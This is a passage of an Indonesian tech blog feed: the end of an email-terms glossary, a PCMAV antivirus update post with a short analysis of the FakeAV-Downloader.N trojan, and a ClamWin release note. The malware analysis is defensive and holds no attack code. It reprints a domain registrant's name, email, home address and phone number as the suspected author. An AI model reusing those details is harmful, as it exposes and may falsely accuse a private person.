dapat memilikinya. Program mail client yang merupakan bawaan dari operating system Windows adalah Outlook Express.</span></span></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><ol start="22" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>Mail Server</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Sesuai dengan namanya, mail server merupakan seperangkat server atau PC dengan program khusus untuk melayani proses pengiriman dan penerimaan email. Server atau PC yang diinstali program tersebut akan bekerja meneruskan, menarik, menerima, dan men distribusikan e-mail-e-mail para penggunanya. Tersedia program cukup banyak untuk membuat sebuah mail server. Pada Windows, Microsoft Exchange merupakan program mail server yang banyak digunakan. Di Linux dan sistem open source juga banyak program sejenis, seperti Qmail, Sendmail, dan banyak lagi.</span></span></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><ol start="23" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>Mail Transfer Agent (MTA)</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">MTA merupakan istilah untuk seperangkat sistem yang terdiri dari server dan program yang bertugas meneruskan atau menghantarkan pesan e-mail. Ketika MTA menerima pesan e-mail dari para penggunanya, pesan tersebut ditampung sementara olehnya untuk dianalisis siapakah penerima dari pesan e-mail ini. MTA akan melakukan dua aksi, menghantarkannya langsung ke mailbox penggunanya (alamat e-mail lokal yang ada dalam server atau jaringan lokal), atau meneruskan ke MTA lain yang menyimpan mailbox dari alamat yang dituju (menjalankan proses routing e-mail).</span></span></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><ol start="24" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>Outbox</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Outbox merupakan lawan kata dari Inbox. Outbox berarti juga folder atau tempat penampungan sementara e-mail -e-mail yang mau dikirimkan oleh pengguna. Folder Outbox biasanya ada pada kebanyakan program mail client. Isi dari folder ini biasanya hanya sesaat karena jika e-mail sudah terkirim, maka e-mail tersebut sudah tidak berada di folder ini lagi.</span></span></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><ol start="25" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>Outlook</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Outlook merupakan nama sebuah program mail client yang ada pada operating system Windows. Program Outlook terbagi menjadi dua jenis, Outlook Express yang merupakan program standar yang langsung ada pada Windows ketika Anda menginstalnya. Satu jenis lagi adalah Microsoft Outlook yang merupakan program bawaan dari Microsoft Office. Outlook merupakan program mail client yang cukup luas digunakan saat ini.</span></span></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><ol start="26" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>Plain-Text Mail</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Jika Anda menerima e-mail yang hanya berisikan teks dengan satu jenis font saja tanpa ada gambar atau objek lain di dalamnya, kemungkinan besar Anda telah menerima Plain-text mail, istilah untuk e-mail yang hanya berformat teks saja. Kelebihan dari e-mail jenis ini dapat dikirim dan diterima dengan lebih cepat karena berukuran kecil dan sederhana. Kekurangannya adalah kurang informatif tanpa gambar dan objek lain di dalamnya.</span></span></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><ol start="27" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>POP3</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">POP merupakan kependekan dari Post Office Protocol, sedangkan angka 3 menunjukkan nomor versinya. POP3 merupakan sebuah protokol yang digunakan untuk proses penerimaan e-mail. Jika ingin menarik e-mail dari ISP atau penyedia jasa e-mail ke komputer Anda, maka Anda harus memasukkan alamat server POP3 milik mereka. Servis POP3 umumnya menggunakan port komunikasi TCP 110.</span></span></div><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><ol start="28" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>Preview Pane</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Preview pane biasanya berada dalam program mail client seperti Outlook, Evolution, dan banyak lagi. Preview pane adalah sebuah halaman preview yang digunakan untuk membaca pesan e-mail tanpa harus membuka satu halaman baru. Kebanyakan program mail client memungkinkan Anda untuk menonaktifkan halaman preview pane ini.</span></span></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><ol start="29" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>Sent Items</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Sent items biasanya merupakan nama dari sebuah folder pada program mail client seperti Outlook dan yang lainnya. Folder ini berisikan pesan-pesan e-mail yang telah berhasil Anda kirimkan ke tujuannya. Ketika belum berhasil, pesan tersebut berada pada folder Outbox, sesaat setelah berhasil maka pesan tersebut akan langsung berada di folder Sent items.</span></span></div><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><ol start="30" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>Signature</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Signature atau tanda tangan memiliki arti dan kegunaan yang sama dalam komunikasi e-mail. Signature pada email biasanya berupa identitas pengirim yang harus selalu dituliskan diakhir pesan e-mail. Untuk membuat Anda tidak mengetik berulang-ulang, biasanya disediakanlah fasilitas pembuat signature pada program mail client. Signature dapat dibuat dalam bentuk teks biasa, dalam format HTML atau dalam bentuk file gambar. Setelah signature dibuat, pasangkan pada setiap e-mail yang Anda kirim, maka tidak perlu repot-repot lagi membuatnya pada setiap e-mail.</span></span></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><ol start="31" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>SMTP</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Simple Mail Transfer Protocol merupakan kepanjangan dari SMTP. Fungsinya adalah sebagai protokol yang mengatur pengiriman pesan-pesan e-mail. Jika Anda membuat mail server sendiri untuk melakukan pengiriman, pasti Anda harus mengaktifkan servis SMTP dengan nomor port TCP 25 pada server tersebut. Ketika Anda ingin mengirimkan sebuah pesan e-mail, maka kali pertama yang dilakukan program mail client adalah menghubungi server yang membuka servis SMTP. Setelah komunikasi terjalin, pesan</span></span> <span style="font-family: Times New Roman,serif;"><span style="font-size: small;">e-mail langsung diteruskan ke server tersebut. Kemudian pada server SMTP, pesan e-mail tersebut akan diteruskan ke alamat yang dituju.</span></span></div><div style="text-align: left;"></div><div style="text-align: left;"></div><div style="text-align: left;"></div><div style="text-align: left;"></div><div style="text-align: left;"></div><div style="text-align: left;"></div><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Sistem komunikasi e-mail diatur oleh dua protokol utama, yaitu SMTP untuk mengurus pengiriman e-mail dan POP3 untuk menangani penerimaan e-mail.</span></span></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><ol start="32" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>Vacation Messege</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Pernahkah Anda menerima pesan balasan dari orang yang Anda kirimi e-mail yang menyatakan orang tersebut sedang tidak berada di kantor atau sedang berlibur, atau yang sejenisnya? Jika pernah, maka Anda telah menerima Vacation Message dari orang yang Anda kirimi tersebut. Fasilitas ini memang sangat berguna untuk menginformasikan kepada pengirim e-mail bahwa Anda sedang tidak bisa membaca e-mail karena satu dan lain hal. Dengan adanya pesan ini, maka si pengirim tidak perlu menunggu-nunggu balasan e-mail dari sipenerimanya.</span></span></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><ol start="33" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>Web-based E-mail</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Jika Anda pernah membuka halaman web mail milik Yahoo! atau Gmail, maka tidak salah lagi halaman tersebut merupakan halaman web khusus untuk melayani Anda untuk mengirim dan menerima email. Web-based e-mail ini memudahkan Anda untuk membaca dan mengirim e-mail karena tidak perlu dilakukan di komputer yang menjalankan program mail client. Di manapun asalkan Anda terkoneksi dengan internet, e-mail-e-mail Anda bisa dibaca dan dikirim melalui account e-mail Anda.</span></span></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"><br /> </div><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>Kenali Istilah Kenali Fungsi</b></span></span></div><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.5in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Karena teknologi e-mail merupakan sebuah teknologi yang boleh dikatakan mengubah gaya hidup manusia modern saat ini dalam berkomunikasi, maka banyak istilah dan fasilitas baru yang muncul. Jika pada proses pengiriman surat biasa tidak ada istilah dan fasilitas ini, maka Anda akan banyak menemukannya di proses pengiriman e-mail. Untuk itu, tidak ada salahnya untuk Anda mengenal dan mengetahui beberapa istilah-istilah penting yang umum digunakan dalam teknologi e-mail. Keuntungannya adalah Anda menjadi bertambah lancar dan fasih menggunakan e-mail untuk berkomunikasi. Selamat belajar!</span></span></div><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.5in;"><br /> </div><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.5in;"><br /> </div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Sumber : PC Media.</span></span></div><div style="text-align: left;"></div><div style="text-align: left;"></div><div style="text-align: left;"></div><div style="text-align: left;"></div>0Build 1http://ekodomba.blogspot.com/2011/07/build-1_13.htmlAnti VirusPCMAVnoreply@blogger.com (Unknown)Wed, 13 Jul 2011 15:41:00 +0700tag:blogger.com,1999:blog-887853086853221447.post-7843347451642047387<div class="info"><div style="text-align: center;"><a href="http://ekodomba.blogspot.com/2011/07/build-1_13.html"><b><span style="font-size: large;"><span style="font-weight: bold;">PCMAV 5.3 Valhalla + Build1</span></span></b></a><br /> <a href="http://virusindonesia.com/2011/07/13/fakeav-downloader-n-your-%E2%80%98security%E2%80%99-is-our-priority/"><b><span style="font-size: large;">FakeAV-Downloader.N: Your ‘Security’ is Our Priority</span></b></a><br /> <br /> <div style="text-align: left;"><img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/07/fakeav-downloader.n/1.software.jpg" /></div></div><div style="text-align: left;"><br /> </div><div style="text-align: left;"><b>FakeAV-Downloader.N.</b> Hampir setiap bulan kami mendapatkan sampel malware yang ternyata adalah antivirus palsu. Metode penyebaran yang sama, dengan teknik mengelabui user yang sama pula. Perbedaan terbesar hanyalah pada tampilan yang selalu diubah-ubah. Kemungkinan besar selalu dibuat ulang dengan di tambahkan kemampuan agar tidak dapat terdeteksi oleh teknik heuristik antivirus.<br /> <br /> <a name='more'></a></div><b>A. Info File</b><br /> <br /> Nama Worm : FakeAV-Downloader.N (BitDefender Core / Security Protection)<br /> Asal : Rusia<br /> Ukuran File : 854 KB (874,496 bytes)<br /> Packer : UPX 0.89 – 3.xx -&gt; Markus &amp; Laszlo ver. [ 3.07 ]<br /> Pemrograman : Delphi<br /> Icon : Malware Icon<br /> Tipe : Trojan<br /> <br /> <b>B. About Malware</b><br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 450px;"><img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/07/fakeav-downloader.n/2.tampilan.jpg" /></div><br /> Tanpa packer, malware ini berukuran 1.66 MB (1,751,552 bytes) dan diduga kuat berasal dari Rusia. Karena malware ini berusaha mengakses salah satu website yang setelah ditelusuri lebih jauh berasal dari Rusia. Berikut ini adalah rincian dari user registrannya.<br /> <br /> Domain name: protection-sec.com<br /> <br /> Name servers :</div>ns1.nameself.com<br /> ns2.nameself.com<br /> Registrar: Regtime Ltd.<br /> Creation date: 2011-05-17<br /> Expiration date: 2012-05-17<br /> Status: active<br /> <br /> Registrant :<br /> Eduard Aleksandrov<br /> Email: crisissmula@gmail.com<br /> Organization: Private person<br /> Address: Latishskih-Strelkov 1-48<br /> City: Kazan<br /> State: RUZIP: 420087<br /> Country: RU<br /> Phone: +7.8432964725<br /> <br /> Sampai serkarang website tersebut masih aktif, akan tetapi user tidak perlu takut karena website tersebut tidak menyediakan download untuk FakeAV-Downloader.N.<br /> <br /> <b>C. Companion/File yang dibuat</b><br /> <br /> Setelah aktif, malware ini tidak membuat banyak companion, berdiri sendiri dan hanya melakukan payload secara terus-menerus yang cukup mengganggu user.<br /> <br /> <b>D. Hasil Infeksi</b><br /> <br /> Sama seperti trojan pada umumnya yang mencoba mengambil informasi dari korban tanpa diketahui. Hal itu bisa meyebabkan korban kehilanga akun pribadi, kehilangan uang yang tidak diketahui penyebabnya dengan jelas. Begitu juga dengan user yang terinfeksi FakeAV-Downloader.N yang selalu memaksa user untuk membeli serial number dari antivirus palsu tersebut.<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 300px; overflow: auto; text-align: left; width: 450px;"><img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/07/fakeav-downloader.n/8.price.png" /></div><br /> Bukan hanya itu, pesan pesan yang berisikan peringatan palsu juga tidak ada hentinya dari malware ini.<br /> <br /> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/07/fakeav-downloader.n/4.rtp.png" /><br /> <br /> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/07/fakeav-downloader.n/5.upd.png" /><br /> <br /> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/07/fakeav-downloader.n/6.notification.png" /><br /> <br /> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/07/fakeav-downloader.n/7.formsn.png" /><br /> <br /> FakeAV-Downloader.N hanya membuat 1 buah value key baru pada registry yang bertujuan untuk menjalankan otomatis saat proses startup.<br /> <br /> HKEY_CURRENT_USER\software\Microsoft\Windows\CurrentVersion\Run\Security Protection<br /> Value : URL / Alamat malware.<br /> <br /> <b>E. Pembersihan</b><br /> <br /> Malware ini telah dikenali dan dapat dibersihkan pada PCMAV 5.3 Update Build1 ini berikut ini.<br /> <br /> <b>PCMAV 5.3 Update Build1</b><br /> <br /> Untuk membasmi virus ini ataupun varian virus lainnya, PCMAV 5.3 Update Build1 telah hadir dengan penambahan <b>46 </b> pengenal varian virus baru. Bagi Anda pengguna PCMAV 5.3, sangat disarankan segera melakukan <i>update</i>, agar PCMAV Anda dapat mengenali dan membasmi virus lebih banyak lagi.<br /> <br /> Untuk mendapatkan dan menggunakan update PCMAV ini, Anda cukup menjalankan PCMAV.exe, komputer harus dalam keadaan aktif terhubung ke Internet. Jika koneksi Internet menggunakan <i>proxy</i>, tentukan konfigurasi proxy pada file proxy.txt . Fitur Automatic Updates dari PCMAV akan secara otomatis men-download dan meng-update database dari PCMAV. Anda juga dapat mengupdate kapan saja dengan klik kanan icon PCMAV pada system tray dan pilih <i>Update</i>.<br /> <br /> Bagi Anda yang ingin mendapatkan file update tersebut secara manual, Anda bisa men-download file-nya melalui beberapa link dibawah ini:<br /> <br /> Letakkan file hasil download tersebut (update.vdb) ke dalam folder \vdb. Jika sebelumnya telah terdapat file update yang lama, Anda cukup <b>menimpanya</b>. Pastikan sekali lagi, bahwa nama file update adalah update.vdb, jika berbeda, cukup ubah namanya. Dan nanti saat Anda kembali menjalankan PCMAV, ia sudah dalam keadaan kondisi ter-update.<br /> <div style="text-align: left;"><br /> <b>Daftar tambahan virus hingga PCMAV 5.3 Update Build1:</b><br /> <br /> BadShortcut<br /> BancosKernel<br /> BancosKernel.dat<br /> CryptocX<br /> CryptocX.dll<br /> FakeAV-Downloader.N<br /> FakeAV-Downloader.N.dat<br /> FakeAV-Downloader.N.dll.A<br /> FakeAV-Downloader.N.dll.B<br /> FakeAV-Downloader.N.drp<br /> FakeAV-Downloader.N.exe<br /> FakeAV-Downloader.N.lnk.A<br /> FakeAV-Downloader.N.lnk.B<br /> FakeAV-Downloader.N.lnk.C<br /> FakeAV-Downloader.N.tmp<br /> FakeDownloader.BL<br /> FakeDownloader.BL.drp<br /> FakeDownloader.BL.exe.A<br /> FakeDownloader.BL.exe.B<br /> FakeDownloader.BL.exe.C<br /> FakeDownloader.BL.tmp<br /> FakeDownloader.BL.zip<br /> FightingDreamer.vbe.inf<br /> NgrBot<br /> NgrBot.bat<br /> NgrBot.dat<br /> NgrBot.drp.A<br /> NgrBot.drp.B<br /> NgrBot.exe.A<br /> NgrBot.exe.B<br /> NgrBot.inf<br /> NgrBot.lnk<br /> Proklamasi<br /> Proklamasi.exe<br /> Proklamasi.lnk<br /> Qvod<br /> Qvod.A.dll.A<br /> Qvod.A.dll.B<br /> Qvod.A.dll.C<br /> Qvod.A.inf<br /> Qvod.A.local<br /> Qvod.B<br /> Qvod.B.dll<br /> Qvod.exe.A<br /> TeraBit.txt<br /> Wukill.D<br /> <br /> PCMAV 5.3 Update Build1 telah tersedia dengan penambahan 46 database virus baru yang telah berhasil ditambahkan pada update build kali ini. Update PCMAV dapat dilakukan secara otomatis dengan memilih “Update” pada menu klik kanan icon PCMAV di system tray, ini salah satu fitur yang telah berhasil ditambahkan pada rilis PCMAV 5.3 Jika Anda ingin mendownload update build secara manual dapat melalui link dibawah ini.<br /> <br /> <br /> (Keterangan Lengkap Lihat Gambar Di Bawah) .........</div><br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 450px;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh35DGFjAYIHFRqABAg5lUqPc0MXSfIsQc0xQ1_f2vRSQuc5UZQOVv4qWBhzbx1hF-0k5Kryz5ZEIy_bFrGmjAWjJBYiXh4_8iXSt_fbH8fUd9oQ3SIJUxWpt-ULO9wrzMA8rkWgulBfbeD/s1600/1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh35DGFjAYIHFRqABAg5lUqPc0MXSfIsQc0xQ1_f2vRSQuc5UZQOVv4qWBhzbx1hF-0k5Kryz5ZEIy_bFrGmjAWjJBYiXh4_8iXSt_fbH8fUd9oQ3SIJUxWpt-ULO9wrzMA8rkWgulBfbeD/s1600/1.JPG" /></a></div><br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicbZIZC9WvCQrRL6bwvmcwp7J41wl9TwCT1oJe4puekXaewmdDouuIOxS020Yl1tVe0mirymZyd4KGcAGQJS7tzOz-ibg7FxjHETUsjZfEEolt4uDU2Yqi9LFkjTatbPrafaL6xI_Po3nT/s1600/2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicbZIZC9WvCQrRL6bwvmcwp7J41wl9TwCT1oJe4puekXaewmdDouuIOxS020Yl1tVe0mirymZyd4KGcAGQJS7tzOz-ibg7FxjHETUsjZfEEolt4uDU2Yqi9LFkjTatbPrafaL6xI_Po3nT/s1600/2.JPG" /></a></div></div><br /> <br /> <div style="text-align: center;"><span style="font-size: 180%; font-weight: bold;">&gt;&gt;&gt; Selamat Mencoba &lt;&lt;&lt;</span></div><br /> <div style="text-align: left;"><br /> </div><span style="color: #ff6666; font-weight: bold;">Note (Penting) :</span> <br /> <ol><li><span style="color: #ff6666; font-weight: bold;">Setelah&nbsp; Download PCMAV 5.3 Valhalla extraks terlebih dahulu kemudian copy/cut seluruh </span><b>Isi Yang Terdapat Dalam Folder</b><span style="color: lime; font-size: small;"> </span><span style="color: #ff6666; font-weight: bold;">ekstrakan tersebut kedalam folder PCMAV sebelumnya (PCMAV 5.1 Valhalla), jika belum memiliki </span><span style="color: #ff6666; font-weight: bold;">PCMAV 5.2 Valhalla silahkan Download disini </span><a href="http://ekodomba.blogspot.com/2011/06/pcmav-52-valhalla.html"><b>PCMAV 5.2</b></a></li> <li><span style="color: #ff6666; font-weight: bold;">no.2 (</span><span style="color: #cc0000; font-weight: bold;">Hanya update (.vdb) Build1)</span><span style="color: #ff6666; font-weight: bold;"><span style="color: #cc0000;"> </span>di Extract dahulu setelah itu dimasukan dalam folder PCMAV 5.3 Valhalla/vdb</span></li> </ol><br /> <br /> <div style="color: red;"><span style="font-size: large;"><b><i>Download Here</i></b></span></div><br /> <b style="color: #cc0000; font-weight: bold;">1. Hanya PCMAV </b><span style="color: #cc0000; font-weight: bold;"><b>5</b>.3 Valhalla </span><span style="font-weight: bold;"><span style="color: #cc0000;">:</span></span> <br /> <div class="main"><span style="font-weight: bold;"> Link 1 = <a href="http://www.blogger.com/goog_1366011901"> </a></span><a href="http://www.ziddu.com/download/15647936/PCMAV5.3Valhallaekodomba.blogspot.rar.html"><span style="font-weight: bold;">PCMAV 5.3</span></a><br /> <span style="font-weight: bold;">Link 2 = </span><a href="http://www.4shared.com/file/6yJOUevb/PCMAV_53_Valhalla__ekodombablo.html"><b>PCMAV 5.3</b></a> <br /> <br /> <span style="color: #cc0000; font-weight: bold;">2. </span><span style="color: #cc0000; font-weight: bold;">Hanya update (.vdb) Build1 :</span> <br /> <span style="font-weight: bold;"> Link 1 = </span><a href="http://www.ziddu.com/download/15672015/vdbBuild1.rar.html"><span style="font-size: 100%;"><b>Update Build 1</b></span></a><span style="font-weight: bold;"><br /> Link 2 =</span><span style="color: #33cc00; font-weight: bold;"><span style="color: black; font-weight: bold;"> </span></span><a href="http://www.4shared.com/file/EOIlNiR_/vdb__Build1__7.html"><span style="font-size: 100%;"><b>Update Build 1</b></span></a></div>0<link>http://ekodomba.blogspot.com/2011/07/clamwin-0971-antivirus.html</link><category>Anti Virus</category><category>Anti Virus ClamWin</category><author>noreply@blogger.com (Unknown)</author><pubDate>Mon, 11 Jul 2011 15:53:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-887853086853221447.post-7520290801338013063</guid><description><div style="text-align: center;"> <b><span style="font-size: large;"><a href="http://ekodomba.blogspot.com/2011/07/clamwin-0971-antivirus.html">ClamWin 0.97.1 Free AntiVirus</a><br /> </span></b></div> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: center; width: 450px;"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhckNEoLwmPNcbNkQhZOKRZgPcZYjFeihIU7Btnkk55uDuP4pwrWXDiST4hH1wmIT-uL-Cyrw7gxoCEifcMMNvZbXlNfXFSJEa2b9k_jIa4uFWE604hij4fjuBbN92PqCy-8GKFJcfkqg6A/s1600/1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhckNEoLwmPNcbNkQhZOKRZgPcZYjFeihIU7Btnkk55uDuP4pwrWXDiST4hH1wmIT-uL-Cyrw7gxoCEifcMMNvZbXlNfXFSJEa2b9k_jIa4uFWE604hij4fjuBbN92PqCy-8GKFJcfkqg6A/s1600/1.JPG" /></a></div> </div> <br /> <br /> Inilah dia yang ditunggu-tunggu Anti Virus ClamWin 0.97.1<br /> (Keterangan Lengkap Lihat Gambar Di Atas) ......... <br /> <br /> <a name='more'></a><br /> <b>Pada rilis pemeliharaan update ClamAV mesin pemindaian dan perbaikan masalah ini :</b><br /> <br /> <ol> <li>Lebih baik deteksi untuk dokumen PDF dienkripsi</li> <li>Peningkatan penanganan tanda tangan bytecode</li> <li>Perbaikan bug dan perbaikan Lain</li> </ol> <br /> <b>Tentang ClamWin Free Antivirus</b><br /> <br /> ClamWin adalah sebuah program Antivirus Gratis untuk Microsoft Windows 7/Vista/XP/Me/2000/98 dan Windows Server 2008 dan 2003. ClamWin Free Antivirus digunakan oleh lebih dari 600.000 pengguna di seluruh dunia setiap hari. Muncul dengan sebuah installer yang mudah dan kode sumber terbuka. Anda dapat men-download dan menggunakannya benar Fitur:<br /> <br /> <ol> <li>Tinggi Tingkat deteksi virus dan spyware;</li> <li>Pemindaian Penjadwal;</li> <li>Otomatis download Database Virus update secara rutin;</li> <li>Standalone virus scanner, dan klik kanan menu untuk integrasi Microsoft Windows Explorer;</li> <li>Addin ke Microsoft Outlook untuk menghapus virus yang terinfeksi lampiran secara otomatis.</li> </ol> <br /> Harap dicatat bahwa ClamWin Free Antivirus tidak termasuk on-access real-time scanner. Anda perlu secara manual memindai file untuk mendeteksi virus atau spyware.<br /> <br /> ClamWin Free Antivirus adalah berdasarkan ClamAV mesin dan menggunakan GNU General Public License oleh Free Software Foundation, dan gratis (seperti dalam kebebasan) perangkat lunak. Untuk mengetahui lebih lanjut tentang GNU GPL, silakan kunjungi link berikut: Filosofi Proyek GNU - Free Software Foundation.<br /> <br /> ClamWin Free Antivirus menggunakan Mesin Scanning ClamAV<br /> ClamAV ™ adalah merek dagang dari Sourcefire, Inc<br /> Microsoft, Microsoft Windows dan Microsoft Outlook adalah merek dagang terdaftar dari Microsoft Corporation di Amerika Serikat dan / atau negara lain.<br /> <br /> <br /> Keterangan lihat gambar dibawah :<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: center; width: 450px;"> <div class="separator" style="clear: both; text-align: left;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWUHxdyN15fEfkOzexuFEiNqRsSpMhyvemyKXh6-e5cwTdUaS4-Nxr18pki_FDP34YIvpiy50knj4IvRlsPNGtsHZtyrhnwwUst6R18paiFAyxa5HzACXMvv4M1aDtVmmGOogHvlX7koEE/s1600/2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWUHxdyN15fEfkOzexuFEiNqRsSpMhyvemyKXh6-e5cwTdUaS4-Nxr18pki_FDP34YIvpiy50knj4IvRlsPNGtsHZtyrhnwwUst6R18paiFAyxa5HzACXMvv4M1aDtVmmGOogHvlX7koEE/s1600/2.JPG" /></a></div> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXg234Tlyt2i_5ClNdhYmHL5Hf1gP6HE27zJ8e0pICdbe29JQZild0moI-lgcImzfjst4Nf1xQ_iOHN9l1HaKGO1QjED2tjk6CjFbjh101BoQ4FnoJW__JrGA6b4yQEsFUCkVIYQiY4W5l/s1600/3.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" 